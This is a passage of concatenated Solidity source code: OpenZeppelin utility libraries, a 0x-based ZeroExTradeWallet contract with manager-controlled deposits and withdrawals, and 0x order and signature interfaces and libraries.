_Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; pragma experimental ABIEncoderV2; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/EnumerableSet.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@0x/contracts-zero-ex/contracts/src/features/interfaces/INativeOrdersFeature.sol"; import "../interfaces/IWallet.sol"; contract ZeroExTradeWallet is IWallet, Ownable { using SafeERC20 for IERC20; using Address for address; using Address for address payable; using SafeMath for uint256; using EnumerableSet for EnumerableSet.AddressSet; INativeOrdersFeature public zeroExRouter; address public manager; EnumerableSet.AddressSet internal tokens; modifier onlyManager() { require(msg.sender == manager, "INVALID_MANAGER"); _; } constructor(address newRouter, address newManager) public { require(newRouter != address(0), "INVALID_ROUTER"); require(newManager != address(0), "INVALID_MANAGER"); zeroExRouter = INativeOrdersFeature(newRouter); manager = newManager; } function getTokens() external view returns (address[] memory) { address[] memory returnData = new address[](tokens.length()); for (uint256 i = 0; i < tokens.length(); i++) { returnData[i] = tokens.at(i); } return returnData; } // solhint-disable-next-line no-empty-blocks function registerAllowedOrderSigner(address signer, bool allowed) external override onlyOwner { require(signer != address(0), "INVALID_SIGNER"); zeroExRouter.registerAllowedOrderSigner(signer, allowed); } function deposit(address[] calldata tokensToAdd, uint256[] calldata amounts) external override onlyManager { uint256 tokensLength = tokensToAdd.length; uint256 amountsLength = amounts.length; require(tokensLength > 0, "EMPTY_TOKEN_LIST"); require(tokensLength == amountsLength, "LENGTH_MISMATCH"); for (uint256 i = 0; i < tokensLength; i++) { IERC20(tokensToAdd[i]).safeTransferFrom(msg.sender, address(this), amounts[i]); // NOTE: approval must be done after transferFrom; balance is checked in the approval _approve(IERC20(tokensToAdd[i])); tokens.add(address(tokensToAdd[i])); } } function withdraw(address[] calldata tokensToWithdraw, uint256[] calldata amounts) external override onlyManager { uint256 tokensLength = tokensToWithdraw.length; uint256 amountsLength = amounts.length; require(tokensLength > 0, "EMPTY_TOKEN_LIST"); require(tokensLength == amountsLength, "LENGTH_MISMATCH"); for (uint256 i = 0; i < tokensLength; i++) { IERC20(tokensToWithdraw[i]).safeTransfer(msg.sender, amounts[i]); if (IERC20(tokensToWithdraw[i]).balanceOf(address(this)) == 0) { tokens.remove(address(tokensToWithdraw[i])); } } } function _approve(IERC20 token) internal { // Approve the zeroExRouter's allowance to max if the allowance ever drops below the balance of the token held uint256 allowance = token.allowance(address(this), address(zeroExRouter)); if (allowance < token.balanceOf(address(this))) { if (allowance != 0) { token.safeApprove(address(zeroExRouter), 0); } token.safeApprove(address(zeroExRouter), type(uint256).max); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /** * @dev Library for managing * https://en.wikipedia.org/wiki/Set_(abstract_data_type)[sets] of primitive * types. * * Sets have the following properties: * * - Elements are added, removed, and checked for existence in constant time * (O(1)). * - Elements are enumerated in O(n). No guarantees are made on the ordering. * * ``` * contract Example { * // Add the library methods * using EnumerableSet for EnumerableSet.AddressSet; * * // Declare a set state variable * EnumerableSet.AddressSet private mySet; * } * ``` * * As of v3.3.0, sets of type `bytes32` (`Bytes32Set`), `address` (`AddressSet`) * and `uint256` (`UintSet`) are supported. */ library EnumerableSet { // To implement this library for multiple types with as little code // repetition as possible, we write it in terms of a generic Set type with // bytes32 values. // The Set implementation uses private functions, and user-facing // implementations (such as AddressSet) are just wrappers around the // underlying Set. // This means that we can only create new EnumerableSets for types that fit // in bytes32. struct Set { // Storage of set values bytes32[] _values; // Position of the value in the `values` array, plus 1 because index 0 // means a value is not in the set. mapping (bytes32 => uint256) _indexes; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); // The value is stored at length-1, but we add 1 to all indexes // and use 0 as a sentinel value set._indexes[value] = set._values.length; return true; } else { return false; } } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function _remove(Set storage set, bytes32 value) private returns (bool) { // We read and store the value's index to prevent multiple reads from the same storage slot uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { // Equivalent to contains(set, value) // To delete an element from the _values array in O(1), we swap the element to delete with the last one in // the array, and then remove the last element (sometimes called as 'swap and pop'). // This modifies the order of the array, as noted in {at}. uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; // When the value to delete is the last one, the swap operation is unnecessary. However, since this occurs // so rarely, we still do the swap anyway to avoid the gas cost of adding an 'if' statement. bytes32 lastvalue = set._values[lastIndex]; // Move the last value to the index where the value to delete is set._values[toDeleteIndex] = lastvalue; // Update the index for the moved value set._indexes[lastvalue] = toDeleteIndex + 1; // All indexes are 1-based // Delete the slot where the moved value was stored set._values.pop(); // Delete the index for the deleted slot delete set._indexes[value]; return true; } else { return false; } } /** * @dev Returns true if the value is in the set. O(1). */ function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } /** * @dev Returns the number of values on the set. O(1). */ function _length(Set storage set) private view returns (uint256) { return set._values.length; } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } // Bytes32Set struct Bytes32Set { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _add(set._inner, value); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(Bytes32Set storage set, bytes32 value) internal returns (bool) { return _remove(set._inner, value); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(Bytes32Set storage set, bytes32 value) internal view returns (bool) { return _contains(set._inner, value); } /** * @dev Returns the number of values in the set. O(1). */ function length(Bytes32Set storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(Bytes32Set storage set, uint256 index) internal view returns (bytes32) { return _at(set._inner, index); } // AddressSet struct AddressSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(uint160(value)))); } /** * @dev Returns the number of values in the set. O(1). */ function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint160(uint256(_at(set._inner, index)))); } // UintSet struct UintSet { Set _inner; } /** * @dev Add a value to a set. O(1). * * Returns true if the value was added to the set, that is if it was not * already present. */ function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } /** * @dev Removes a value from a set. O(1). * * Returns true if the value was removed from the set, that is if it was * present. */ function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } /** * @dev Returns true if the value is in the set. O(1). */ function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } /** * @dev Returns the number of values on the set. O(1). */ function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } /** * @dev Returns the value stored at position `index` in the set. O(1). * * Note that there are no guarantees on the ordering of values inside the * array, and it may change when more values are added or removed. * * Requirements: * * - `index` must be strictly less than {length}. */ function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; import "../utils/Context.sol"; /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view virtual returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; pragma experimental ABIEncoderV2; import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol"; import "../libs/LibSignature.sol"; import "../libs/LibNativeOrder.sol"; import "./INativeOrdersEvents.sol"; /// @dev Feature for interacting with limit orders. interface INativeOrdersFeature is INativeOrdersEvents { /// @dev Transfers protocol fees from the `FeeCollector` pools into /// the staking contract. /// @param poolIds Staking pool IDs function transferProtocolFeesForPools(bytes32[] calldata poolIds) external; /// @dev Fill a limit order. The taker and sender will be the caller. /// @param order The limit order. ETH protocol fees can be /// attached to this call. Any unspent ETH will be refunded to /// the caller. /// @param signature The order signature. /// @param takerTokenFillAmount Maximum taker token amount to fill this order with. /// @return takerTokenFilledAmount How much maker token was filled. /// @return makerTokenFilledAmount How much maker token was filled. function fillLimitOrder( LibNativeOrder.LimitOrder calldata order, LibSignature.Signature calldata signature, uint128 takerTokenFillAmount ) external payable returns (uint128 takerTokenFilledAmount, uint128 makerTokenFilledAmount); /// @dev Fill an RFQ order for up to `takerTokenFillAmount` taker tokens. /// The taker will be the caller. /// @param order The RFQ order. /// @param signature The order signature. /// @param takerTokenFillAmount Maximum taker token amount to fill this order with. /// @return takerTokenFilledAmount How much maker token was filled. /// @return makerTokenFilledAmount How much maker token was filled. function fillRfqOrder( LibNativeOrder.RfqOrder calldata order, LibSignature.Signature calldata signature, uint128 takerTokenFillAmount ) external returns (uint128 takerTokenFilledAmount, uint128 makerTokenFilledAmount); /// @dev Fill an RFQ order for exactly `takerTokenFillAmount` taker tokens. /// The taker will be the caller. ETH protocol fees can be /// attached to this call. Any unspent ETH will be refunded to /// the caller. /// @param order The limit order. /// @param signature The order signature. /// @param takerTokenFillAmount How much taker token to fill this order with. /// @return makerTokenFilledAmount How much maker token was filled. function fillOrKillLimitOrder( LibNativeOrder.LimitOrder calldata order, LibSignature.Signature calldata signature, uint128 takerTokenFillAmount ) external payable returns (uint128 makerTokenFilledAmount); /// @dev Fill an RFQ order for exactly `takerTokenFillAmount` taker tokens. /// The taker will be the caller. /// @param order The RFQ order. /// @param signature The order signature. /// @param takerTokenFillAmount How much taker token to fill this order with. /// @return makerTokenFilledAmount How much maker token was filled. function fillOrKillRfqOrder( LibNativeOrder.RfqOrder calldata order, LibSignature.Signature calldata signature, uint128 takerTokenFillAmount ) external returns (uint128 makerTokenFilledAmount); /// @dev Fill a limit order. Internal variant. ETH protocol fees can be /// attached to this call. Any unspent ETH will be refunded to /// `msg.sender` (not `sender`). /// @param order The limit order. /// @param signature The order signature. /// @param takerTokenFillAmount Maximum taker token to fill this order with. /// @param taker The order taker. /// @param sender The order sender. /// @return takerTokenFilledAmount How much maker token was filled. /// @return makerTokenFilledAmount How much maker token was filled. function _fillLimitOrder( LibNativeOrder.LimitOrder calldata order, LibSignature.Signature calldata signature, uint128 takerTokenFillAmount, address taker, address sender ) external payable returns (uint128 takerTokenFilledAmount, uint128 makerTokenFilledAmount); /// @dev Fill an RFQ order. Internal variant. /// @param order The RFQ order. /// @param signature The order signature. /// @param takerTokenFillAmount Maximum taker token to fill this order with. /// @param taker The order taker. /// @return takerTokenFilledAmount How much maker token was filled. /// @return makerTokenFilledAmount How much maker token was filled. function _fillRfqOrder( LibNativeOrder.RfqOrder calldata order, LibSignature.Signature calldata signature, uint128 takerTokenFillAmount, address taker ) external returns (uint128 takerTokenFilledAmount, uint128 makerTokenFilledAmount); /// @dev Cancel a single limit order. The caller must be the maker or a valid order signer. /// Silently succeeds if the order has already been cancelled. /// @param order The limit order. function cancelLimitOrder(LibNativeOrder.LimitOrder calldata order) external; /// @dev Cancel a single RFQ order. The caller must be the maker or a valid order signer. /// Silently succeeds if the order has already been cancelled. /// @param order The RFQ order. function cancelRfqOrder(LibNativeOrder.RfqOrder calldata order) external; /// @dev Mark what tx.origin addresses are allowed to fill an order that /// specifies the message sender as its txOrigin. /// @param origins An array of origin addresses to update. /// @param allowed True to register, false to unregister. function registerAllowedRfqOrigins(address[] memory origins, bool allowed) external; /// @dev Cancel multiple limit orders. The caller must be the maker or a valid order signer. /// Silently succeeds if the order has already been cancelled. /// @param orders The limit orders. function batchCancelLimitOrders(LibNativeOrder.LimitOrder[] calldata orders) external; /// @dev Cancel multiple RFQ orders. The caller must be the maker or a valid order signer. /// Silently succeeds if the order has already been cancelled. /// @param orders The RFQ orders. function batchCancelRfqOrders(LibNativeOrder.RfqOrder[] calldata orders) external; /// @dev Cancel all limit orders for a given maker and pair with a salt less /// than the value provided. The caller must be the maker. Subsequent /// calls to this function with the same caller and pair require the /// new salt to be >= the old salt. /// @param makerToken The maker token. /// @param takerToken The taker token. /// @param minValidSalt The new minimum valid salt. function cancelPairLimitOrders( IERC20TokenV06 makerToken, IERC20TokenV06 takerToken, uint256 minValidSalt ) external; /// @dev Cancel all limit orders for a given maker and pair with a salt less /// than the value provided. The caller must be a signer registered to the maker. /// Subsequent calls to this function with the same maker and pair require the /// new salt to be >= the old salt. /// @param maker The maker for which to cancel. /// @param makerToken The maker token. /// @param takerToken The taker token. /// @param minValidSalt The new minimum valid salt. function cancelPairLimitOrdersWithSigner( address maker, IERC20TokenV06 makerToken, IERC20TokenV06 takerToken, uint256 minValidSalt ) external; /// @dev Cancel all limit orders for a given maker and pairs with salts less /// than the values provided. The caller must be the maker. Subsequent /// calls to this function with the same caller and pair require the /// new salt to be >= the old salt. /// @param makerTokens The maker tokens. /// @param takerTokens The taker tokens. /// @param minValidSalts The new minimum valid salts. function batchCancelPairLimitOrders( IERC20TokenV06[] calldata makerTokens, IERC20TokenV06[] calldata takerTokens, uint256[] calldata minValidSalts ) external; /// @dev Cancel all limit orders for a given maker and pairs with salts less /// than the values provided. The caller must be a signer registered to the maker. /// Subsequent calls to this function with the same maker and pair require the /// new salt to be >= the old salt. /// @param maker The maker for which to cancel. /// @param makerTokens The maker tokens. /// @param takerTokens The taker tokens. /// @param minValidSalts The new minimum valid salts. function batchCancelPairLimitOrdersWithSigner( address maker, IERC20TokenV06[] memory makerTokens, IERC20TokenV06[] memory takerTokens, uint256[] memory minValidSalts ) external; /// @dev Cancel all RFQ orders for a given maker and pair with a salt less /// than the value provided. The caller must be the maker. Subsequent /// calls to this function with the same caller and pair require the /// new salt to be >= the old salt. /// @param makerToken The maker token. /// @param takerToken The taker token. /// @param minValidSalt The new minimum valid salt. function cancelPairRfqOrders( IERC20TokenV06 makerToken, IERC20TokenV06 takerToken, uint256 minValidSalt ) external; /// @dev Cancel all RFQ orders for a given maker and pair with a salt less /// than the value provided. The caller must be a signer registered to the maker. /// Subsequent calls to this function with the same maker and pair require the /// new salt to be >= the old salt. /// @param maker The maker for which to cancel. /// @param makerToken The maker token. /// @param takerToken The taker token. /// @param minValidSalt The new minimum valid salt. function cancelPairRfqOrdersWithSigner( address maker, IERC20TokenV06 makerToken, IERC20TokenV06 takerToken, uint256 minValidSalt ) external; /// @dev Cancel all RFQ orders for a given maker and pairs with salts less /// than the values provided. The caller must be the maker. Subsequent /// calls to this function with the same caller and pair require the /// new salt to be >= the old salt. /// @param makerTokens The maker tokens. /// @param takerTokens The taker tokens. /// @param minValidSalts The new minimum valid salts. function batchCancelPairRfqOrders( IERC20TokenV06[] calldata makerTokens, IERC20TokenV06[] calldata takerTokens, uint256[] calldata minValidSalts ) external; /// @dev Cancel all RFQ orders for a given maker and pairs with salts less /// than the values provided. The caller must be a signer registered to the maker. /// Subsequent calls to this function with the same maker and pair require the /// new salt to be >= the old salt. /// @param maker The maker for which to cancel. /// @param makerTokens The maker tokens. /// @param takerTokens The taker tokens. /// @param minValidSalts The new minimum valid salts. function batchCancelPairRfqOrdersWithSigner( address maker, IERC20TokenV06[] memory makerTokens, IERC20TokenV06[] memory takerTokens, uint256[] memory minValidSalts ) external; /// @dev Get the order info for a limit order. /// @param order The limit order. /// @return orderInfo Info about the order. function getLimitOrderInfo(LibNativeOrder.LimitOrder calldata order) external view returns (LibNativeOrder.OrderInfo memory orderInfo); /// @dev Get the order info for an RFQ order. /// @param order The RFQ order. /// @return orderInfo Info about the order. function getRfqOrderInfo(LibNativeOrder.RfqOrder calldata order) external view returns (LibNativeOrder.OrderInfo memory orderInfo); /// @dev Get the canonical hash of a limit order. /// @param order The limit order. /// @return orderHash The order hash. function getLimitOrderHash(LibNativeOrder.LimitOrder calldata order) external view returns (bytes32 orderHash); /// @dev Get the canonical hash of an RFQ order. /// @param order The RFQ order. /// @return orderHash The order hash. function getRfqOrderHash(LibNativeOrder.RfqOrder calldata order) external view returns (bytes32 orderHash); /// @dev Get the protocol fee multiplier. This should be multiplied by the /// gas price to arrive at the required protocol fee to fill a native order. /// @return multiplier The protocol fee multiplier. function getProtocolFeeMultiplier() external view returns (uint32 multiplier); /// @dev Get order info, fillable amount, and signature validity for a limit order. /// Fillable amount is determined using balances and allowances of the maker. /// @param order The limit order. /// @param signature The order signature. /// @return orderInfo Info about the order. /// @return actualFillableTakerTokenAmount How much of the order is fillable /// based on maker funds, in taker tokens. /// @return isSignatureValid Whether the signature is valid. function getLimitOrderRelevantState( LibNativeOrder.LimitOrder calldata order, LibSignature.Signature calldata signature ) external view returns ( LibNativeOrder.OrderInfo memory orderInfo, uint128 actualFillableTakerTokenAmount, bool isSignatureValid ); /// @dev Get order info, fillable amount, and signature validity for an RFQ order. /// Fillable amount is determined using balances and allowances of the maker. /// @param order The RFQ order. /// @param signature The order signature. /// @return orderInfo Info about the order. /// @return actualFillableTakerTokenAmount How much of the order is fillable /// based on maker funds, in taker tokens. /// @return isSignatureValid Whether the signature is valid. function getRfqOrderRelevantState( LibNativeOrder.RfqOrder calldata order, LibSignature.Signature calldata signature ) external view returns ( LibNativeOrder.OrderInfo memory orderInfo, uint128 actualFillableTakerTokenAmount, bool isSignatureValid ); /// @dev Batch version of `getLimitOrderRelevantState()`, without reverting. /// Orders that would normally cause `getLimitOrderRelevantState()` /// to revert will have empty results. /// @param orders The limit orders. /// @param signatures The order signatures. /// @return orderInfos Info about the orders. /// @return actualFillableTakerTokenAmounts How much of each order is fillable /// based on maker funds, in taker tokens. /// @return isSignatureValids Whether each signature is valid for the order. function batchGetLimitOrderRelevantStates( LibNativeOrder.LimitOrder[] calldata orders, LibSignature.Signature[] calldata signatures ) external view returns ( LibNativeOrder.OrderInfo[] memory orderInfos, uint128[] memory actualFillableTakerTokenAmounts, bool[] memory isSignatureValids ); /// @dev Batch version of `getRfqOrderRelevantState()`, without reverting. /// Orders that would normally cause `getRfqOrderRelevantState()` /// to revert will have empty results. /// @param orders The RFQ orders. /// @param signatures The order signatures. /// @return orderInfos Info about the orders. /// @return actualFillableTakerTokenAmounts How much of each order is fillable /// based on maker funds, in taker tokens. /// @return isSignatureValids Whether each signature is valid for the order. function batchGetRfqOrderRelevantStates( LibNativeOrder.RfqOrder[] calldata orders, LibSignature.Signature[] calldata signatures ) external view returns ( LibNativeOrder.OrderInfo[] memory orderInfos, uint128[] memory actualFillableTakerTokenAmounts, bool[] memory isSignatureValids ); /// @dev Register a signer who can sign on behalf of msg.sender /// This allows one to sign on behalf of a contract that calls this function /// @param signer The address from which you plan to generate signatures /// @param allowed True to register, false to unregister. function registerAllowedOrderSigner( address signer, bool allowed ) external; /// @dev checks if a given address is registered to sign on behalf of a maker address /// @param maker The maker address encoded in an order (can be a contract) /// @param signer The address that is providing a signature function isValidOrderSigner( address maker, address signer ) external view returns (bool isAllowed); } // SPDX-License-Identifier: MIT pragma solidity 0.6.11; interface IWallet { function registerAllowedOrderSigner(address signer, bool allowed) external; function deposit(address[] calldata tokens, uint256[] calldata amounts) external; function withdraw(address[] calldata tokens, uint256[] calldata amounts) external; } // SPDX-License-Identifier: MIT pragma solidity >=0.6.0 <0.8.0; /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; interface IERC20TokenV06 { // solhint-disable no-simple-event-func-name event Transfer( address indexed from, address indexed to, uint256 value ); event Approval( address indexed owner, address indexed spender, uint256 value ); /// @dev send `value` token to `to` from `msg.sender` /// @param to The address of the recipient /// @param value The amount of token to be transferred /// @return True if transfer was successful function transfer(address to, uint256 value) external returns (bool); /// @dev send `value` token to `to` from `from` on the condition it is approved by `from` /// @param from The address of the sender /// @param to The address of the recipient /// @param value The amount of token to be transferred /// @return True if transfer was successful function transferFrom( address from, address to, uint256 value ) external returns (bool); /// @dev `msg.sender` approves `spender` to spend `value` tokens /// @param spender The address of the account able to transfer the tokens /// @param value The amount of wei to be approved for transfer /// @return Always true if the call has enough gas to complete execution function approve(address spender, uint256 value) external returns (bool); /// @dev Query total supply of token /// @return Total supply of token function totalSupply() external view returns (uint256); /// @dev Get the balance of `owner`. /// @param owner The address from which the balance will be retrieved /// @return Balance of owner function balanceOf(address owner) external view returns (uint256); /// @dev Get the allowance for `spender` to spend from `owner`. /// @param owner The address of the account owning tokens /// @param spender The address of the account able to transfer the tokens /// @return Amount of remaining tokens allowed to spent function allowance(address owner, address spender) external view returns (uint256); /// @dev Get the number of decimals this token has. function decimals() external view returns (uint8); } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; pragma experimental ABIEncoderV2; import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol"; import "../../errors/LibSignatureRichErrors.sol"; /// @dev A library for validating signatures. library LibSignature { using LibRichErrorsV06 for bytes; // '\x19Ethereum Signed Message:\n32\x00\x00\x00\x00' in a word. uint256 private constant ETH_SIGN_HASH_PREFIX = 0x19457468657265756d205369676e6564204d6573736167653a0a333200000000; /// @dev Exclusive upper limit on ECDSA signatures 'R' values. /// The valid range is given by fig (282) of the yellow paper. uint256 private constant ECDSA_SIGNATURE_R_LIMIT = uint256(0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141); /// @dev Exclusive upper limit on ECDSA signatures 'S' values. /// The valid range is given by fig (283) of the yellow paper. uint256 private constant ECDSA_SIGNATURE_S_LIMIT = ECDSA_SIGNATURE_R_LIMIT / 2 + 1; /// @dev Allowed signature types. enum SignatureType { ILLEGAL, INVALID, EIP712, ETHSIGN } /// @dev Encoded EC signature. struct Signature { // How to validate the signature. SignatureType signatureType; // EC Signature data. uint8 v; // EC Signature data. bytes32 r; // EC Signature data. bytes32 s; } /// @dev Retrieve the signer of a signature. /// Throws if the signature can't be validated. /// @param hash The hash that was signed. /// @param signature The signature. /// @return recovered The recovered signer address. function getSignerOfHash( bytes32 hash, Signature memory signature ) internal pure returns (address recovered) { // Ensure this is a signature type that can be validated against a hash. _validateHashCompatibleSignature(hash, signature); if (signature.signatureType == SignatureType.EIP712) { // Signed using EIP712 recovered = ecrecover( hash, signature.v, signature.r, signature.s ); } else if (signature.signatureType == SignatureType.ETHSIGN) { // Signed using `eth_sign` // Need to hash `hash` with "\x19Ethereum Signed Message:\n32" prefix // in packed encoding. bytes32 ethSignHash; assembly { // Use scratch space mstore(0, ETH_SIGN_HASH_PREFIX) // length of 28 bytes mstore(28, hash) // length of 32 bytes ethSignHash := keccak256(0, 60) } recovered = ecrecover( ethSignHash, signature.v, signature.r, signature.s ); } // `recovered` can be null if the signature values are out of range. if (recovered == address(0)) { LibSignatureRichErrors.SignatureValidationError( LibSignatureRichErrors.SignatureValidationErrorCodes.BAD_SIGNATURE_DATA, hash ).rrevert(); } } /// @dev Validates that a signature is compatible with a hash signee. /// @param hash The hash that was signed. /// @param signature The signature. function _validateHashCompatibleSignature( bytes32 hash, Signature memory signature ) private pure { // Ensure the r and s are within malleability limits. if (uint256(signature.r) >= ECDSA_SIGNATURE_R_LIMIT || uint256(signature.s) >= ECDSA_SIGNATURE_S_LIMIT) { LibSignatureRichErrors.SignatureValidationError( LibSignatureRichErrors.SignatureValidationErrorCodes.BAD_SIGNATURE_DATA, hash ).rrevert(); } // Always illegal signature. if (signature.signatureType == SignatureType.ILLEGAL) { LibSignatureRichErrors.SignatureValidationError( LibSignatureRichErrors.SignatureValidationErrorCodes.ILLEGAL, hash ).rrevert(); } // Always invalid. if (signature.signatureType == SignatureType.INVALID) { LibSignatureRichErrors.SignatureValidationError( LibSignatureRichErrors.SignatureValidationErrorCodes.ALWAYS_INVALID, hash ).rrevert(); } // Solidity should check that the signature type is within enum range for us // when abi-decoding. } } // SPDX-License-Identifier: Apache-2.0 /* Copyright 2020 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.6.5; pragma experimental ABIEncoderV2; import "@0x/contracts-erc20/contracts/src/v06/IERC20TokenV06.sol"; import "@0x/contracts-utils/contracts/src/v06/errors/LibRichErrorsV06.sol"; import "@0x/contracts-utils/contracts/src/v06/LibSafeMathV06.sol"; import "../../errors/LibNativeOrdersRichErrors.sol"; /// @dev A library for common native order operations. library LibNativeOrder { using LibSafeMathV06 for uint256; using LibRichErrorsV06 for bytes; enum OrderStatus { INVALID, FILLABLE, FILLED, CANCELLED, EXPIRED } /// @dev A standard OTC or OO limit order. struct LimitOrder { IERC20TokenV06 makerToken; IERC20TokenV06 takerToken; uint128 makerAmount; uint128 takerAmount; uint128 takerTokenFeeAmount; address maker; address taker; address sender; address feeRecipient; bytes32 pool; uint64 